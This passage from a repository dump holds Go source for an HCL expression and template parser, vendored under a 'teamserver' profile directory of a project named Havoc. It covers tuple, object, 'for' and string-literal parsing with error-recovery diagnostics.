closeTok = p.Read() // eat closing paren\n            }\n            break Token\n        }\n\n        if sep.Type != TokenComma {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing argument separator\",\n                Detail:   \"A comma is required to separate each function argument from the next.\",\n                Subject:  &sep.Range,\n                Context:  hcl.RangeBetween(name.Range, sep.Range).Ptr(),\n            })\n            closeTok = p.recover(TokenCParen)\n            break Token\n        }\n\n        if p.Peek().Type == TokenCParen {\n            // A trailing comma after the last argument gets us in here.\n            closeTok = p.Read() // eat closing paren\n            break Token\n        }\n\n    }\n\n    p.PopIncludeNewlines()\n\n    return &FunctionCallExpr{\n        Name: string(name.Bytes),\n        Args: args,\n\n        ExpandFinal: expandFinal,\n\n        NameRange:       name.Range,\n        OpenParenRange:  openTok.Range,\n        CloseParenRange: closeTok.Range,\n    }, diags\n}\n\nfunc (p *parser) parseTupleCons() (Expression, hcl.Diagnostics) {\n    open := p.Read()\n    if open.Type != TokenOBrack {\n        // Should never happen if callers are behaving\n        panic(\"parseTupleCons called without peeker pointing to open bracket\")\n    }\n\n    p.PushIncludeNewlines(false)\n    defer p.PopIncludeNewlines()\n\n    if forKeyword.TokenMatches(p.Peek()) {\n        return p.finishParsingForExpr(open)\n    }\n\n    var close Token\n\n    var diags hcl.Diagnostics\n    var exprs []Expression\n\n    for {\n        next := p.Peek()\n        if next.Type == TokenCBrack {\n            close = p.Read() // eat closer\n            break\n        }\n\n        expr, exprDiags := p.ParseExpression()\n        exprs = append(exprs, expr)\n        diags = append(diags, exprDiags...)\n\n        if p.recovery && exprDiags.HasErrors() {\n            // If expression parsing failed then we are probably in a strange\n            // place in the token stream, so we'll bail out and try to reset\n            // to after our closing bracket to allow parsing to continue.\n            close = p.recover(TokenCBrack)\n            break\n        }\n\n        next = p.Peek()\n        if next.Type == TokenCBrack {\n            close = p.Read() // eat closer\n            break\n        }\n\n        if next.Type != TokenComma {\n            if !p.recovery {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Missing item separator\",\n                    Detail:   \"Expected a comma to mark the beginning of the next item.\",\n                    Subject:  &next.Range,\n                    Context:  hcl.RangeBetween(open.Range, next.Range).Ptr(),\n                })\n            }\n            close = p.recover(TokenCBrack)\n            break\n        }\n\n        p.Read() // eat comma\n\n    }\n\n    return &TupleConsExpr{\n        Exprs: exprs,\n\n        SrcRange:  hcl.RangeBetween(open.Range, close.Range),\n        OpenRange: open.Range,\n    }, diags\n}\n\nfunc (p *parser) parseObjectCons() (Expression, hcl.Diagnostics) {\n    open := p.Read()\n    if open.Type != TokenOBrace {\n        // Should never happen if callers are behaving\n        panic(\"parseObjectCons called without peeker pointing to open brace\")\n    }\n\n    // We must temporarily stop looking at newlines here while we check for\n    // a \"for\" keyword, since for expressions are _not_ newline-sensitive,\n    // even though object constructors are.\n    p.PushIncludeNewlines(false)\n    isFor := forKeyword.TokenMatches(p.Peek())\n    p.PopIncludeNewlines()\n    if isFor {\n        return p.finishParsingForExpr(open)\n    }\n\n    p.PushIncludeNewlines(true)\n    defer p.PopIncludeNewlines()\n\n    var close Token\n\n    var diags hcl.Diagnostics\n    var items []ObjectConsItem\n\n    for {\n        next := p.Peek()\n        if next.Type == TokenNewline {\n            p.Read() // eat newline\n            continue\n        }\n\n        if next.Type == TokenCBrace {\n            close = p.Read() // eat closer\n            break\n        }\n\n        // Wrapping parens are not explicitly represented in the AST, but\n        // we want to use them here to disambiguate interpreting a mapping\n        // key as a full expression rather than just a name, and so\n        // we'll remember this was present and use it to force the\n        // behavior of our final ObjectConsKeyExpr.\n        forceNonLiteral := (p.Peek().Type == TokenOParen)\n\n        var key Expression\n        var keyDiags hcl.Diagnostics\n        key, keyDiags = p.ParseExpression()\n        diags = append(diags, keyDiags...)\n\n        if p.recovery && keyDiags.HasErrors() {\n            // If expression parsing failed then we are probably in a strange\n            // place in the token stream, so we'll bail out and try to reset\n            // to after our closing brace to allow parsing to continue.\n            close = p.recover(TokenCBrace)\n            break\n        }\n\n        // We wrap up the key expression in a special wrapper that deals\n        // with our special case that naked identifiers as object keys\n        // are interpreted as literal strings.\n        key = &ObjectConsKeyExpr{\n            Wrapped:         key,\n            ForceNonLiteral: forceNonLiteral,\n        }\n\n        next = p.Peek()\n        if next.Type != TokenEqual && next.Type != TokenColon {\n            if !p.recovery {\n                switch next.Type {\n                case TokenNewline, TokenComma:\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Missing attribute value\",\n                        Detail:   \"Expected an attribute value, introduced by an equals sign (\\\"=\\\").\",\n                        Subject:  &next.Range,\n                        Context:  hcl.RangeBetween(open.Range, next.Range).Ptr(),\n                    })\n                case TokenIdent:\n                    // Although this might just be a plain old missing equals\n                    // sign before a reference, one way to get here is to try\n                    // to write an attribute name containing a period followed\n                    // by a digit, which was valid in HCL1, like this:\n                    //     foo1.2_bar = \"baz\"\n                    // We can't know exactly what the user intended here, but\n                    // we'll augment our message with an extra hint in this case\n                    // in case it is helpful.\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Missing key/value separator\",\n                        Detail:   \"Expected an equals sign (\\\"=\\\") to mark the beginning of the attribute value. If you intended to given an attribute name containing periods or spaces, write the name in quotes to create a string literal.\",\n                        Subject:  &next.Range,\n                        Context:  hcl.RangeBetween(open.Range, next.Range).Ptr(),\n                    })\n                default:\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Missing key/value separator\",\n                        Detail:   \"Expected an equals sign (\\\"=\\\") to mark the beginning of the attribute value.\",\n                        Subject:  &next.Range,\n                        Context:  hcl.RangeBetween(open.Range, next.Range).Ptr(),\n                    })\n                }\n            }\n            close = p.recover(TokenCBrace)\n            break\n        }\n\n        p.Read() // eat equals sign or colon\n\n        value, valueDiags := p.ParseExpression()\n        diags = append(diags, valueDiags...)\n\n        if p.recovery && valueDiags.HasErrors() {\n            // If expression parsing failed then we are probably in a strange\n            // place in the token stream, so we'll bail out and try to reset\n            // to after our closing brace to allow parsing to continue.\n            close = p.recover(TokenCBrace)\n            break\n        }\n\n        items = append(items, ObjectConsItem{\n            KeyExpr:   key,\n            ValueExpr: value,\n        })\n\n        next = p.Peek()\n        if next.Type == TokenCBrace {\n            close = p.Read() // eat closer\n            break\n        }\n\n        if next.Type != TokenComma && next.Type != TokenNewline {\n            if !p.recovery {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Missing attribute separator\",\n                    Detail:   \"Expected a newline or comma to mark the beginning of the next attribute.\",\n                    Subject:  &next.Range,\n                    Context:  hcl.RangeBetween(open.Range, next.Range).Ptr(),\n                })\n            }\n            close = p.recover(TokenCBrace)\n            break\n        }\n\n        p.Read() // eat comma or newline\n\n    }\n\n    return &ObjectConsExpr{\n        Items: items,\n\n        SrcRange:  hcl.RangeBetween(open.Range, close.Range),\n        OpenRange: open.Range,\n    }, diags\n}\n\nfunc (p *parser) finishParsingForExpr(open Token) (Expression, hcl.Diagnostics) {\n    p.PushIncludeNewlines(false)\n    defer p.PopIncludeNewlines()\n    introducer := p.Read()\n    if !forKeyword.TokenMatches(introducer) {\n        // Should never happen if callers are behaving\n        panic(\"finishParsingForExpr called without peeker pointing to 'for' identifier\")\n    }\n\n    var makeObj bool\n    var closeType TokenType\n    switch open.Type {\n    case TokenOBrace:\n        makeObj = true\n        closeType = TokenCBrace\n    case TokenOBrack:\n        makeObj = false // making a tuple\n        closeType = TokenCBrack\n    default:\n        // Should never happen if callers are behaving\n        panic(\"finishParsingForExpr called with invalid open token\")\n    }\n\n    var diags hcl.Diagnostics\n    var keyName, valName string\n\n    if p.Peek().Type != TokenIdent {\n        if !p.recovery {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"For expression requires variable name after 'for'.\",\n                Subject:  p.Peek().Range.Ptr(),\n                Context:  hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(),\n            })\n        }\n        close := p.recover(closeType)\n        return &LiteralValueExpr{\n            Val:      cty.DynamicVal,\n            SrcRange: hcl.RangeBetween(open.Range, close.Range),\n        }, diags\n    }\n\n    valName = string(p.Read().Bytes)\n\n    if p.Peek().Type == TokenComma {\n        // What we just read was actually the key, then.\n        keyName = valName\n        p.Read() // eat comma\n\n        if p.Peek().Type != TokenIdent {\n            if !p.recovery {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid 'for' expression\",\n                    Detail:   \"For expression requires value variable name after comma.\",\n                    Subject:  p.Peek().Range.Ptr(),\n                    Context:  hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(),\n                })\n            }\n            close := p.recover(closeType)\n            return &LiteralValueExpr{\n                Val:      cty.DynamicVal,\n                SrcRange: hcl.RangeBetween(open.Range, close.Range),\n            }, diags\n        }\n\n        valName = string(p.Read().Bytes)\n    }\n\n    if !inKeyword.TokenMatches(p.Peek()) {\n        if !p.recovery {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"For expression requires the 'in' keyword after its name declarations.\",\n                Subject:  p.Peek().Range.Ptr(),\n                Context:  hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(),\n            })\n        }\n        close := p.recover(closeType)\n        return &LiteralValueExpr{\n            Val:      cty.DynamicVal,\n            SrcRange: hcl.RangeBetween(open.Range, close.Range),\n        }, diags\n    }\n    p.Read() // eat 'in' keyword\n\n    collExpr, collDiags := p.ParseExpression()\n    diags = append(diags, collDiags...)\n    if p.recovery && collDiags.HasErrors() {\n        close := p.recover(closeType)\n        return &LiteralValueExpr{\n            Val:      cty.DynamicVal,\n            SrcRange: hcl.RangeBetween(open.Range, close.Range),\n        }, diags\n    }\n\n    if p.Peek().Type != TokenColon {\n        if !p.recovery {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"For expression requires a colon after the collection expression.\",\n                Subject:  p.Peek().Range.Ptr(),\n                Context:  hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(),\n            })\n        }\n        close := p.recover(closeType)\n        return &LiteralValueExpr{\n            Val:      cty.DynamicVal,\n            SrcRange: hcl.RangeBetween(open.Range, close.Range),\n        }, diags\n    }\n    p.Read() // eat colon\n\n    var keyExpr, valExpr Expression\n    var keyDiags, valDiags hcl.Diagnostics\n    valExpr, valDiags = p.ParseExpression()\n    if p.Peek().Type == TokenFatArrow {\n        // What we just parsed was actually keyExpr\n        p.Read() // eat the fat arrow\n        keyExpr, keyDiags = valExpr, valDiags\n\n        valExpr, valDiags = p.ParseExpression()\n    }\n    diags = append(diags, keyDiags...)\n    diags = append(diags, valDiags...)\n    if p.recovery && (keyDiags.HasErrors() || valDiags.HasErrors()) {\n        close := p.recover(closeType)\n        return &LiteralValueExpr{\n            Val:      cty.DynamicVal,\n            SrcRange: hcl.RangeBetween(open.Range, close.Range),\n        }, diags\n    }\n\n    group := false\n    var ellipsis Token\n    if p.Peek().Type == TokenEllipsis {\n        ellipsis = p.Read()\n        group = true\n    }\n\n    var condExpr Expression\n    var condDiags hcl.Diagnostics\n    if ifKeyword.TokenMatches(p.Peek()) {\n        p.Read() // eat \"if\"\n        condExpr, condDiags = p.ParseExpression()\n        diags = append(diags, condDiags...)\n        if p.recovery && condDiags.HasErrors() {\n            close := p.recover(p.oppositeBracket(open.Type))\n            return &LiteralValueExpr{\n                Val:      cty.DynamicVal,\n                SrcRange: hcl.RangeBetween(open.Range, close.Range),\n            }, diags\n        }\n    }\n\n    var close Token\n    if p.Peek().Type == closeType {\n        close = p.Read()\n    } else {\n        if !p.recovery {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"Extra characters after the end of the 'for' expression.\",\n                Subject:  p.Peek().Range.Ptr(),\n                Context:  hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(),\n            })\n        }\n        close = p.recover(closeType)\n    }\n\n    if !makeObj {\n        if keyExpr != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"Key expression is not valid when building a tuple.\",\n                Subject:  keyExpr.Range().Ptr(),\n                Context:  hcl.RangeBetween(open.Range, close.Range).Ptr(),\n            })\n        }\n\n        if group {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"Grouping ellipsis (...) cannot be used when building a tuple.\",\n                Subject:  &ellipsis.Range,\n                Context:  hcl.RangeBetween(open.Range, close.Range).Ptr(),\n            })\n        }\n    } else {\n        if keyExpr == nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid 'for' expression\",\n                Detail:   \"Key expression is required when building an object.\",\n                Subject:  valExpr.Range().Ptr(),\n                Context:  hcl.RangeBetween(open.Range, close.Range).Ptr(),\n            })\n        }\n    }\n\n    return &ForExpr{\n        KeyVar:   keyName,\n        ValVar:   valName,\n        CollExpr: collExpr,\n        KeyExpr:  keyExpr,\n        ValExpr:  valExpr,\n        CondExpr: condExpr,\n        Group:    group,\n\n        SrcRange:   hcl.RangeBetween(open.Range, close.Range),\n        OpenRange:  open.Range,\n        CloseRange: close.Range,\n    }, diags\n}\n\n// parseQuotedStringLiteral is a helper for parsing quoted strings that\n// aren't allowed to contain any interpolations, such as block labels.\nfunc (p *parser) parseQuotedStringLiteral() (string, hcl.Range, hcl.Diagnostics) {\n    oQuote := p.Read()\n    if oQuote.Type != TokenOQuote {\n        return \"\", oQuote.Range, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid string literal\",\n                Detail:   \"A quoted string is required here.\",\n                Subject:  &oQuote.Range,\n            },\n        }\n    }\n\n    var diags hcl.Diagnostics\n    ret := &bytes.Buffer{}\n    var endRange hcl.Range\n\nToken:\n    for {\n        tok := p.Read()\n        switch tok.Type {\n\n        case TokenCQuote:\n            endRange = tok.Range\n            break Token\n\n        case TokenQuotedLit:\n            s, sDiags := ParseStringLiteralToken(tok)\n            diags = append(diags, sDiags...)\n            ret.WriteString(s)\n\n        case TokenTemplateControl, TokenTemplateInterp:\n            which := \"$\"\n            if tok.Type == TokenTemplateControl {\n                which = \"%\"\n            }\n\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid string literal\",\n                Detail: fmt.Sprintf(\n                    \"Template sequences are not allowed in this string. To include a literal %q, double it (as \\\"%s%s\\\") to escape it.\",\n                    which, which, which,\n                ),\n                Subject: &tok.Range,\n                Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(),\n            })\n\n            // Now that we're returning an error callers won't attempt to use\n            // the result for any real operations, but they might try to use\n            // the partial AST for other analyses, so we'll leave a marker\n            // to indicate that there was something invalid in the string to\n            // help avoid misinterpretation of the partial result\n            ret.WriteString(which)\n            ret.WriteString(\"{ ... }\")\n\n            p.recover(TokenTemplateSeqEnd) // we'll try to keep parsing after the sequence ends\n\n        case TokenEOF:\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unterminated string literal\",\n                Detail:   \"Unable to find the closing quote mark before the end of the file.\",\n                Subject:  &tok.Range,\n                Context:  hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(),\n            })\n            endRange = tok.Range\n            break Token\n\n        default:\n            // Should never happen, as long as the scanner is behaving itself\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid string literal\",\n                Detail:   \"This item is not valid in a string literal.\",\n                Subject:  &tok.Range,\n                Context:  hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(),\n            })\n            p.recover(TokenCQuote)\n            endRange = tok.Range\n            break Token\n\n        }\n\n    }\n\n    return ret.String(), hcl.RangeBetween(oQuote.Range, endRange), diags\n}\n\n// ParseStringLiteralToken processes the given token, which must be either a\n// TokenQuotedLit or a TokenStringLit, returning the string resulting from\n// resolving any escape sequences.\n//\n// If any error diagnostics are returned, the returned string may be incomplete\n// or otherwise invalid.\nfunc ParseStringLiteralToken(tok Token) (string, hcl.Diagnostics) {\n    var quoted bool\n    switch tok.Type {\n    case TokenQuotedLit:\n        quoted = true\n    case TokenStringLit:\n        quoted = false\n    default:\n        panic(\"ParseStringLiteralToken can only be used with TokenStringLit and TokenQuotedLit tokens\")\n    }\n    var diags hcl.Diagnostics\n\n    ret := make([]byte, 0, len(tok.Bytes))\n    slices := scanStringLit(tok.Bytes, quoted)\n\n    // We will mutate rng constantly as we walk through our token slices below.\n    // Any diagnostics must take a copy of this rng rather than simply pointing\n    // to it, e.g. by using rng.Ptr() rather than &rng.\n    rng := tok.Range\n    rng.End = rng.Start\nSlices:\n    for _, slice := range slices {\n        if len(slice) == 0 {\n            continue\n        }\n\n        // Advance the start of our range to where the previous token ended\n        rng.Start = rng.End\n\n        // Advance the end of our range to after our token.\n        b := slice\n        for len(b) > 0 {\n            adv, ch, _ := textseg.ScanGraphemeClusters(b, true)\n            rng.End.Byte += adv\n            switch ch[0] {\n            case '\\r', '\\n':\n                rng.End.Line++\n                rng.End.Column = 1\n            default:\n                rng.End.Column++\n            }\n            b = b[adv:]\n        }\n\n    TokenType:\n        switch slice[0] {\n        case '\\\\':\n            if !quoted {\n                // If we're not in quoted mode then just treat this token as\n                // normal. (Slices can still start with backslash even if we're\n                // not specifically looking for backslash sequences.)\n                break TokenType\n            }\n            if len(slice) < 2 {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid escape sequence\",\n                    Detail:   \"Backslash must be followed by an escape sequence selector character.\",\n                    Subject:  rng.Ptr(),\n                })\n                break TokenType\n            }\n\n            switch slice[1] {\n\n            case 'n':\n                ret = append(ret, '\\n')\n                continue Slices\n            case 'r':\n                ret = append(ret, '\\r')\n                continue Slices\n            case 't':\n                ret = append(ret, '\\t')\n                continue Slices\n            case '\"':\n                ret = append(ret, '\"')\n                continue Slices\n            case '\\\\':\n                ret = append(ret, '\\\\')\n                continue Slices\n            case 'x':\n                var bt, _ = hex.DecodeString(string(slice[2:]))\n                ret = append(ret, bt...)\n                continue Slices\n            case 'u', 'U':\n                if slice[1] == 'u' && len(slice) != 6 {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid escape sequence\",\n                        Detail:   \"The \\\\u escape sequence must be followed by four hexadecimal digits.\",\n                        Subject:  rng.Ptr(),\n                    })\n                    break TokenType\n                } else if slice[1] == 'U' && len(slice) != 10 {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid escape sequence\",\n                        Detail:   \"The \\\\U escape sequence must be followed by eight hexadecimal digits.\",\n                        Subject:  rng.Ptr(),\n                    })\n                    break TokenType\n                }\n\n                numHex := string(slice[2:])\n                num, err := strconv.ParseUint(numHex, 16, 32)\n                if err != nil {\n                    // Should never happen because the scanner won't match\n                    // a sequence of digits that isn't valid.\n                    panic(err)\n                }\n\n                r := rune(num)\n                l := utf8.RuneLen(r)\n                if l == -1 {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid escape sequence\",\n                        Detail:   fmt.Sprintf(\"Cannot encode character U+%04x in UTF-8.\", num),\n                        Subject:  rng.Ptr(),\n                    })\n                    break TokenType\n                }\n                for i := 0; i < l; i++ {\n                    ret = append(ret, 0)\n                }\n                rb := ret[len(ret)-l:]\n                utf8.EncodeRune(rb, r)\n\n                continue Slices\n\n            default:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid escape sequence\",\n                    Detail:   fmt.Sprintf(\"The symbol %q is not a valid escape sequence selector.\", slice[1:]),\n                    Subject:  rng.Ptr(),\n                })\n                ret = append(ret, slice[1:]...)\n                continue Slices\n            }\n\n        case '$', '%':\n            if len(slice) != 3 {\n                // Not long enough to be our escape sequence, so it's literal.\n                break TokenType\n            }\n\n            if slice[1] == slice[0] && slice[2] == '{' {\n                ret = append(ret, slice[0])\n                ret = append(ret, '{')\n                continue Slices\n            }\n\n            break TokenType\n        }\n\n        // If we fall out here or break out of here from the switch above\n        // then this slice is just a literal.\n        ret = append(ret, slice...)\n    }\n\n    return string(ret), diags\n}\n\n// setRecovery turns on recovery mode without actually doing any recovery.\n// This can be used when a parser knowingly leaves the peeker in a useless\n// place and wants to suppress errors that might result from that decision.\nfunc (p *parser) setRecovery() {\n    p.recovery = true\n}\n\n// recover seeks forward in the token stream until it finds TokenType \"end\",\n// then returns with the peeker pointed at the following token.\n//\n// If the given token type is a bracketer, this function will additionally\n// count nested instances of the brackets to try to leave the peeker at\n// the end of the _current_ instance of that bracketer, skipping over any\n// nested instances. This is a best-effort operation and may have\n// unpredictable results on input with bad bracketer nesting.\nfunc (p *parser) recover(end TokenType) Token {\n    start := p.oppositeBracket(end)\n    p.recovery = true\n\n    nest := 0\n    for {\n        tok := p.Read()\n        ty := tok.Type\n        if end == TokenTemplateSeqEnd && ty == TokenTemplateControl {\n            // normalize so that our matching behavior can work, since\n            // TokenTemplateControl/TokenTemplateInterp are asymmetrical\n            // with TokenTemplateSeqEnd and thus we need to count both\n            // openers if that's the closer we're looking for.\n            ty = TokenTemplateInterp\n        }\n\n        switch ty {\n        case start:\n            nest++\n        case end:\n            if nest < 1 {\n                return tok\n            }\n\n            nest--\n        case TokenEOF:\n            return tok\n        }\n    }\n}\n\n// recoverOver seeks forward in the token stream until it finds a block\n// starting with TokenType \"start\", then finds the corresponding end token,\n// leaving the peeker pointed at the token after that end token.\n//\n// The given token type _must_ be a bracketer. For example, if the given\n// start token is TokenOBrace then the parser will be left at the _end_ of\n// the next brace-delimited block encountered, or at EOF if no such block\n// is found or it is unclosed.\nfunc (p *parser) recoverOver(start TokenType) {\n    end := p.oppositeBracket(start)\n\n    // find the opening bracket first\nToken:\n    for {\n        tok := p.Read()\n        switch tok.Type {\n        case start, TokenEOF:\n            break Token\n        }\n    }\n\n    // Now use our existing recover function to locate the _end_ of the\n    // container we've found.\n    p.recover(end)\n}\n\nfunc (p *parser) recoverAfterBodyItem() {\n    p.recovery = true\n    var open []TokenType\n\nToken:\n    for {\n        tok := p.Read()\n\n        switch tok.Type {\n\n        case TokenNewline:\n            if len(open) == 0 {\n                break Token\n            }\n\n        case TokenEOF:\n            break Token\n\n        case TokenOBrace, TokenOBrack, TokenOParen, TokenOQuote, TokenOHeredoc, TokenTemplateInterp, TokenTemplateControl:\n            open = append(open, tok.Type)\n\n        case TokenCBrace, TokenCBrack, TokenCParen, TokenCQuote, TokenCHeredoc:\n            opener := p.oppositeBracket(tok.Type)\n            for len(open) > 0 && open[len(open)-1] != opener {\n                open = open[:len(open)-1]\n            }\n            if len(open) > 0 {\n                open = open[:len(open)-1]\n            }\n\n        case TokenTemplateSeqEnd:\n            for len(open) > 0 && open[len(open)-1] != TokenTemplateInterp && open[len(open)-1] != TokenTemplateControl {\n                open = open[:len(open)-1]\n            }\n            if len(open) > 0 {\n                open = open[:len(open)-1]\n            }\n\n        }\n    }\n}\n\n// oppositeBracket finds the bracket that opposes the given bracketer, or\n// NilToken if the given token isn't a bracketer.\n//\n// \"Bracketer\", for the sake of this function, is one end of a matching\n// open/close set of tokens that establish a bracketing context.\nfunc (p *parser) oppositeBracket(ty TokenType) TokenType {\n    switch ty {\n\n    case TokenOBrace:\n        return TokenCBrace\n    case TokenOBrack:\n        return TokenCBrack\n    case TokenOParen:\n        return TokenCParen\n    case TokenOQuote:\n        return TokenCQuote\n    case TokenOHeredoc:\n        return TokenCHeredoc\n\n    case TokenCBrace:\n        return TokenOBrace\n    case TokenCBrack:\n        return TokenOBrack\n    case TokenCParen:\n        return TokenOParen\n    case TokenCQuote:\n        return TokenOQuote\n    case TokenCHeredoc:\n        return TokenOHeredoc\n\n    case TokenTemplateControl:\n        return TokenTemplateSeqEnd\n    case TokenTemplateInterp:\n        return TokenTemplateSeqEnd\n    case TokenTemplateSeqEnd:\n        // This is ambiguous, but we return Interp here because that's\n        // what's assumed by the \"recover\" method.\n        return TokenTemplateInterp\n\n    default:\n        return TokenNil\n    }\n}\n\nfunc errPlaceholderExpr(rng hcl.Range) Expression {\n    return &LiteralValueExpr{\n        Val:      cty.DynamicVal,\n        SrcRange: rng,\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/parser_template.go",
    "content": "package hclsyntax\n\nimport (\n    \"fmt\"\n    \"strings\"\n    \"unicode\"\n\n    \"github.com/apparentlymart/go-textseg/v13/textseg\"\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc (p *parser) ParseTemplate() (Expression, hcl.Diagnostics) {\n    return p.parseTemplate(TokenEOF, false)\n}\n\nfunc (p *parser) parseTemplate(end TokenType, flushHeredoc bool) (Expression, hcl.Diagnostics) {\n    exprs, passthru, rng, diags := p.parseTemplateInner(end, flushHeredoc)\n\n    if passthru {\n        if len(exprs) != 1 {\n            panic(\"passthru set with len(exprs) != 1\")\n        }\n        return &TemplateWrapExpr{\n            Wrapped:  exprs[0],\n            SrcRange: rng,\n        }, diags\n    }\n\n    return &TemplateExpr{\n        Parts:    exprs,\n        SrcRange: rng,\n    }, diags\n}\n\nfunc (p *parser) parseTemplateInner(end TokenType, flushHeredoc bool) ([]Expression, bool, hcl.Range, hcl.Diagnostics) {\n    parts, diags := p.parseTemplateParts(end)\n    if flushHeredoc {\n        flushHeredocTemplateParts(parts) // Trim off leading spaces on lines per the flush heredoc spec\n    }\n    tp := templateParser{\n        Tokens:   parts.Tokens,\n        SrcRange: parts.SrcRange,\n    }\n    exprs, exprsDiags := tp.parseRoot()\n    diags = append(diags, exprsDiags...)\n\n    passthru := false\n    if len(parts.Tokens) == 2 { // one real token and one synthetic \"end\" token\n        if _, isInterp := parts.Tokens[0].(*templateInterpToken); isInterp {\n            passthru = true\n        }\n    }\n\n    return exprs, passthru, parts.SrcRange, diags\n}\n\ntype templateParser struct {\n    Tokens   []templateToken\n    SrcRange hcl.Range\n\n    pos int\n}\n\nfunc (p *templateParser) parseRoot() ([]Expression, hcl.Diagnostics) {\n    var exprs []Expression\n    var diags hcl.Diagnostics\n\n    for {\n        next := p.Peek()\n        if _, isEnd := next.(*templateEndToken); isEnd {\n            break\n        }\n\n        expr, exprDiags := p.parseExpr()\n        diags = append(diags, exprDiags...)\n        exprs = append(exprs, expr)\n    }\n\n    return exprs, diags\n}\n\nfunc (p *templateParser) parseExpr() (Expression, hcl.Diagnostics) {\n    next := p.Peek()\n    switch tok := next.(type) {\n\n    case *templateLiteralToken:\n        p.Read() // eat literal\n        return &LiteralValueExpr{\n            Val:      cty.StringVal(tok.Val),\n            SrcRange: tok.SrcRange,\n        }, nil\n\n    case *templateInterpToken:\n        p.Read() // eat interp\n        return tok.Expr, nil\n\n    case *templateIfToken:\n        return p.parseIf()\n\n    case *templateForToken:\n        return p.parseFor()\n\n    case *templateEndToken:\n        p.Read() // eat erroneous token\n        return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{\n            {\n                // This is a particularly unhelpful diagnostic, so callers\n                // should attempt to pre-empt it and produce a more helpful\n                // diagnostic that is context-aware.\n                Severity: hcl.DiagError,\n                Summary:  \"Unexpected end of template\",\n                Detail:   \"The control directives within this template are unbalanced.\",\n                Subject:  &tok.SrcRange,\n            },\n        }\n\n    case *templateEndCtrlToken:\n        p.Read() // eat erroneous token\n        return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Unexpected %s directive\", tok.Name()),\n                Detail:   \"The control directives within this template are unbalanced.\",\n                Subject:  &tok.SrcRange,\n            },\n        }\n\n    default:\n        // should never happen, because above should be exhaustive\n        panic(fmt.Sprintf(\"unhandled template token type %T\", next))\n    }\n}\n\nfunc (p *templateParser) parseIf() (Expression, hcl.Diagnostics) {\n    open := p.Read()\n    openIf, isIf := open.(*templateIfToken)\n    if !isIf {\n        // should never happen if caller is behaving\n        panic(\"parseIf called with peeker not pointing at if token\")\n    }\n\n    var ifExprs, elseExprs []Expression\n    var diags hcl.Diagnostics\n    var endifRange hcl.Range\n\n    currentExprs := &ifExprs\nToken:\n    for {\n        next := p.Peek()\n        if end, isEnd := next.(*templateEndToken); isEnd {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unexpected end of template\",\n                Detail: fmt.Sprintf(\n                    \"The if directive at %s is missing its corresponding endif directive.\",\n                    openIf.SrcRange,\n                ),\n                Subject: &end.SrcRange,\n            })\n            return errPlaceholderExpr(end.SrcRange), diags\n        }\n        if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd {\n            p.Read() // eat end directive\n\n            switch end.Type {\n\n            case templateElse:\n                if currentExprs == &ifExprs {\n                    currentExprs = &elseExprs\n                    continue Token\n                }\n\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Unexpected else directive\",\n                    Detail: fmt.Sprintf(\n                        \"Already in the else clause for the if started at %s.\",\n                        openIf.SrcRange,\n                    ),\n                    Subject: &end.SrcRange,\n                })\n\n            case 